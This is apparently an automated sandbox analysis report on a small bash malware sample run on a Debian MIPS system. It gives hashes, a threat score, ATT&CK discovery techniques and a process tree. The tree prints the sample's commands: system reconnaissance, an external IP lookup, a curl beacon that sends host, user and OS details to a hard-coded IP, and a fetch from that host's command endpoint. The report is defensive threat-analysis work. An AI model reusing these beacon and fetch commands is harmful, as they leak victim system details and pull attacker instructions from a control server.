5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f

Analysis

max time kernel
4s
max time network
5s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
24/10/2026, 18:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f
Size 1KB
Sample261024-wpedfabv5v
SHA256 5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f
MD5 d9ae37762e915ed04796b5e49543fb18
SHA1 8f09dce7c826aef63ebcd737e6d326b27ed4c7c1
SHA512 24a73cb56cb40e57e3fed365ff6d2dced2f3c7d65363db7d2d4eb94c912bc0f4f74c977ffe91461082d091e9998659458e1abe31ce7e857cfc022eb0314e0e1a
TLSH
T1C111E2E067694494310CB845F4086D0A7ED349BF3EA9AE5145652DBD38EE491C13D219
MD5 SHA1 SHA512 TLSH

Score

6^/10

discovery

Malware Config

Signatures

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
2	ifconfig.me
1	ifconfig.me

Reads runtime system information 5 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/sys/kernel/ngroups_max	id
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
736	curl
749	curl

/tmp/5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f
/tmp/5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f
1⤵
PID:715

/usr/local/sbin/bash
bash /tmp/5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f
1⤵
PID:715

/usr/local/bin/bash
bash /tmp/5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f
1⤵
PID:715

/usr/sbin/bash
bash /tmp/5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f
1⤵
PID:715

/usr/bin/bash
bash /tmp/5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f
1⤵
PID:715

/sbin/bash
bash /tmp/5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f
1⤵
PID:715

/bin/bash
bash /tmp/5947fae3ebed32252df5c17dba7e0a55db2c7c46fed4e397f46971760dd21b5f
1⤵
PID:715
- /usr/bin/id
  id
  2⤵
  - Reads runtime system information
  PID:720
- /bin/uname
  uname -mrs
  2⤵
  PID:726
- /usr/bin/whoami
  whoami
  2⤵
  PID:729
- /usr/bin/nproc
  nproc
  2⤵
  PID:732
- /usr/bin/curl
  curl -s --max-time 5 https://ifconfig.me
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:736
- /bin/hostname
  hostname
  2⤵
  PID:748
- /usr/bin/curl
  curl -s --max-time 8 "http://13.143.132.242/d/764a81a5601b/beacon?host=debian9-mipsbe-20260513-en-15&ip=85.203.46.1&user=root&os=Linux 4.9.0-13-4kc-malta mips&cpu=1"
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:749
- /usr/bin/curl
  curl -s --max-time 8 http://13.143.132.242/d/764a81a5601b/cmd
  2⤵
  - Reads runtime system information
  PID:752
- /bin/bash
  bash
  2⤵
  PID:754

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads